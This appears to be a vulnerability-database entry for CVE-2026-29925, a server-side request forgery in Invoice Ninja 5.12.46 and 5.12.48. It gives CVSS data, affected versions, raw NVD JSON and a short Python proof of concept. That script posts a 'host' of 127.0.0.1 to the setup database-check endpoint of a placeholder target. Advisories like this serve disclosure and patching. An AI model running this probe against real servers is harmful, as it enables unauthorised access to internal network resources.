Security Vulnerability Report
中文
CVE-2026-29925 CVSS 7.7 HIGH

CVE-2026-29925

Published: 2026-03-30 19:16:25
Last Modified: 2026-04-02 16:58:36

Description

Invoice Ninja v5.12.46 and v5.12.48 is vulnerable to Server-Side Request Forgery (SSRF) in CheckDatabaseRequest.php.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:invoiceninja:invoice_ninja:5.12.46:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:invoiceninja:invoice_ninja:5.12.48:*:*:*:*:*:*:* - VULNERABLE
Invoice Ninja v5.12.46
Invoice Ninja v5.12.48

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # PoC for CVE-2026-29925 (Invoice Ninja SSRF) # Target: Invoice Ninja v5.12.46 / v5.12.48 target_url = "http://target-domain.com/setup/check_database" # Attackers can manipulate the 'host' field to point to internal resources payload = { "host": "127.0.0.1", # Example: Internal IP "database_name": "test", "database_username": "root", "database_password": "password" } try: response = requests.post(target_url, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check for time delays or error messages indicating connection attempts.") else: print(f"[-] Unexpected status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-29925", "sourceIdentifier": "[email protected]", "published": "2026-03-30T19:16:24.600", "lastModified": "2026-04-02T16:58:36.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Invoice Ninja v5.12.46 and v5.12.48 is vulnerable to Server-Side Request Forgery (SSRF) in CheckDatabaseRequest.php."}, {"lang": "es", "value": "Invoice Ninja v5.12.46 y v5.12.48 es vulnerable a falsificación de petición del lado del servidor (SSRF) en CheckDatabaseRequest.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:invoiceninja:invoice_ninja:5.12.46:*:*:*:*:*:*:*", "matchCriteriaId": "4D0D28CD-2E25-4683-B2D6-FBD588FC2E3D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:invoiceninja:invoice_ninja:5.12.48:*:*:*:*:*:*:*", "matchCriteriaId": "695ED6F6-1370-4C23-A2C7-562BCE1A236E"}]}]}], "references": [{"url": "https://gist.github.com/TrekLaps/5b2c72106d950dab0cd1897eb93200f1", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/invoiceninja/invoiceninja/blob/v5-stable/app/Http/Requests/Setup/CheckDatabaseRequest.php", "source": "[email protected]", "tags": ["Product"]}]}}